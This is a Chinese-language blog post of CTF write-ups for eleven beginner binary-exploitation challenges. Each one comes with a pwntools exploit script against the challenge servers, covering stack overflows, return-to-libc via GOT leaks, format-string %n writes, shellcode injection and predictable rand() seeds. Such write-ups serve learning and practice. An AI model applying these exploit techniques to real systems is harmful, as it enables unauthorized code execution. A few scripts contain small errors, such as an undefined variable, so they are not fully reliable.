是一個總結與匯總,會把見到的思路,想法,wp都記錄下來,并進行簡單的分類
這里面的每個題我都沒有去檢查保護,太麻煩,新手區也沒有需要繞過保護的,最簡單的canary繞過也在進階,
ps:我這里用的是python2.7,如果用python3的話代碼會有一個致命的不同,看我的另外一篇博客
字串編碼解決python3 payload=‘a‘ +p64(1926)報錯問題
01 get_shell
1、nc連接就行
2、簡單的exp
from pwn import*
r=remote("220.249.52.133",35257)
r.interactive()
02 hello_pwn
最最簡單的堆疊溢位
from pwn import*
r=remote("220.249.52.133",30174)
payload='aaaa'+p32(1853186401)
r.sendlineafter("bof",payload)
r.interactive()
03 when_did_you_born
堆疊溢位覆寫變數就行
from pwn import*
r=remote("220.249.52.133",56940)
r.sendlineafter("Birth?",'1234')
payload='aaaaaaaa'+p32(1926)
r.sendlineafter("Name?",payload)
r.interactive()
04 level0
簡單的堆疊溢位,找一下后門函式 system
from pwn import*
r=remote("220.249.52.133",42821)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()
這個倒是要注意 它程式里面是write函式的時候不用r.recv()
05 level2
堆疊溢位 需要找一下system引數
from pwn import*
r=remote("220.249.52.133",52591)
payload='a'*0x88+'aaaa' + p32(0x8048320) + 'aaaa'+p32(0x804a024)
r.sendline(payload)
r.interactive()
但是發現個好玩的,如果將代碼改成這樣就會報錯
from pwn import*
r=remote("220.249.52.133",52591)
payload='a'*0x88+'aaaa' + p64(0x8048320) + 'aaaa'+p32(0x804a024)
#這里的后面四個a是system函式的回傳地址,跟下一個cgpwn2一樣的
r.sendline(payload)
r.interactive()
報錯 因為 p32的話 是0x12121212 但是p64的話就是0x1212121200000000
這在其他題目中不明顯,但是在這個需要覆寫system函式回傳地址的地方就體現出來了
system地址本來是4個字 ,后面接4個a剛好到引數位置
但是p64的話把地址變成8個字 就用不著那4個a了
06 cgpwn2
堆疊溢位 找后門函式 這個有system 但是函式引數不對,需要自己寫進去
from pwn import*
#context.log_level="debug"
r=remote("220.249.52.133",41650)
r.sendlineafter("name","/bin/sh")
payload='a'*38 + 'aaaa' + p32(0x8048420) + 'aaaa' + p32(0x804a080)
#這里面后面的‘aaaa’是system的回傳地址 要注意了!
r.sendlineafter("here:",payload)
r.interactive()
07 int_overflow
堆疊溢位 整數溢位


from pwn import*
r= remote("220.249.52.133",33712)
r.sendlineafter("Your choice:",'1')
r.sendlineafter("name:","aaaa")
payload='a'*24 + p32(0x804868b) + 'a'*232
#這里是關鍵,因為它在堆疊溢位的基礎上對payload長度有要求,要求長度在3-8之間
#但是它存放長度的記憶體為一個字,所以范圍只是0-255,所以構造一個長度為260的
r.sendlineafter("passwd:",payload)
r.interactive()
08 guess_number
這個題還是很厲害的
隨機函式生成的亂數并不是真的亂數,他們只是在一定范圍內隨機,實際上是一段數字的回圈,這些數字取決于隨機種子,
在呼叫rand()函式時,必須先利用srand()設好亂數種子,如果未設亂數種子,rand()在呼叫時會自動設亂數種子為1,
關于ctype庫與dll
我們使用python標準庫中自帶的ctypes模塊進行python和c的混合編程
libc共享庫
要用到rand()函式 就在這個共享庫中找
也可以
elf = ELF('./guess_num')
libc = elf.libc
from pwn import *
from ctypes import *
io = remote('111.198.29.45','45592')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a'*32 + p64(1) #這里只有0跟1行……我也不知道為啥
io.sendlineafter('name:',payload)
for i in range(10):
io.sendlineafter('number:',str(libc.rand()%6 + 1))
io.interactive()
09 CGfsb
格式化字串漏洞
基礎知識來一手
%x:輸出16進制資料,如%i$x表示要泄漏偏移i處4位元組長的16進制資料,%i$lx表示要泄漏偏移i處8位元組長的16進制資料,32bit和64bit環境下一樣,
%p:輸出16進制資料,與%x基本一樣,只是附加了前綴0x,在32bit下輸出4位元組,在64bit下輸出8位元組,可通過輸出位元組的長度來判斷目標環境是32bit還是64bit,
%s:輸出的內容是字串,即將偏移處指標指向的字串輸出,如%i$s表示輸出偏移i處地址所指向的字串,在32bit和64bit環境下一樣,可用于讀取GOT表等資訊,
%n:將%n之前printf已經列印的字符個數賦值給偏移處指標所指向的地址位置,如%100×10$n表示將0x64寫入偏移10處保存的指標所指向的地址(4位元組),而%$hn表示寫入的地址空間為2位元組,%$hhn表示寫入的地址空間為1位元組,%$lln表示寫入的地址空間為8位元組,在32bit和64bit環境下一樣,
有時,直接寫4位元組會導致程式崩潰或等候時間過長,可以通過%$hn或%$hhn來適時調整,
%n是通過格式化字串漏洞改變程式流程的關鍵方式,而其他格式化字串引數可用于讀取資訊或配合%n寫資料,
所以先看printf指標偏移多少
這里也要考慮32位與64位
32位的話就‘AAAA’
64位的話就‘AAAAAAAA’
偏移10
from pwn import*
r=remote("220.249.52.133",55983)
r.sendlineafter("name:","name")
payload = p32(0x804a068)+'aaaa'+'%10$n'
#這里構造這玩意有好多種形式
#payload=p32(0x0804a068)+"%04c%10$n"
r.sendlineafter("please:",payload)
r.recv()
r.interactive()
10 string
喔唷 這個題我感覺是新手區最煩的一個題
字串格式化漏洞 指標函式強制轉換漏洞
發現這里有個字串格式化漏洞

發現這里函式指標強制轉換為指標函式,會把它當作一個函式,執行這里的代碼,

查一下偏移 這里就是64位拿‘AAAAAAAA’去查
from pwn import*
r=remote("220.249.52.133",33503)
r.recvuntil("secret[0] is ")
addr_4=int(r.recvuntil('\n')[:-1],16) #這個地方要注意 那最后那個‘\n’去掉
r.sendlineafter("be:","yongbao")
r.sendlineafter("up?","east")
r.sendlineafter("'Give me an address'", str(int(v4_addr))) #記得再轉回來
r.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh()) #這個要注意,它要的是機器碼
r.sendlineafter("USE YOU SPELL", shellcode)
r.sendlineafter("address",p32(addr_4))
r.interactive()
11 level3
這個題我一直不想寫 我感覺它是最難的 需要調那個libc庫 因為沒有后門函式
還要用到got跟plt 可以先模仿著寫一下 關于程式動態呼叫,裝載,got跟plt之后看了書再說

# coding=utf-8
from pwn import*
r=remote("220.249.52.133",52569)
#context.log_level="debug"
elf=ELF('./level3') #獲取檔案物件
libc=ELF('./libc_32.so.6')#獲取lib庫物件
#獲取函式
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
#接受資料
r.recvuntil(":\n")
#char[88] ebp write函式地址 write函式回傳地址(回傳到main函式) write函式引數一(1) write函式引數二(write_got地址) write函式引數三(寫4位元組)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
#獲取write在got中的地址
write_got_addr=u32(r.recv())
print hex(write_got_addr)
#計算lib庫加載基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
#計算system的地址
system_addr = libc_base+libc.sym['system']
print hex(system_addr)
#計算字串 /bin/sh 的地址,0x15902b為偏移,
#通過命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 獲取
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)
# char[88] ebp system system函式的回傳地址 system函式的引數(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接收資料
r.recvuntil(":\n")
#發送payload
r.sendline(payload2)
#切換互動模式
r.interactive()
有幾句要說的是啥,第一行極其詭異,沒有那個話他就報錯,
還有下載那個附件的時候它是.gz格式的,在linux環境中居然還要下載個解壓軟體,還好有360,
最后的總結
這些題里面有一條主線就是后門函式,這也是不可缺少的,從簡單到困難,從后門函式直接給你,到后門函式缺斤少兩,最后到直接沒有后門函式,然后在主線上延申了一些字串格式化編碼啊,整數溢位啊啥的,
之后遇到其他wp會回來補充的.
出錯了也會來改的,就這,
轉載請註明出處,本文鏈接:https://www.uj5u.com/shujuku/160256.html
標籤:其他
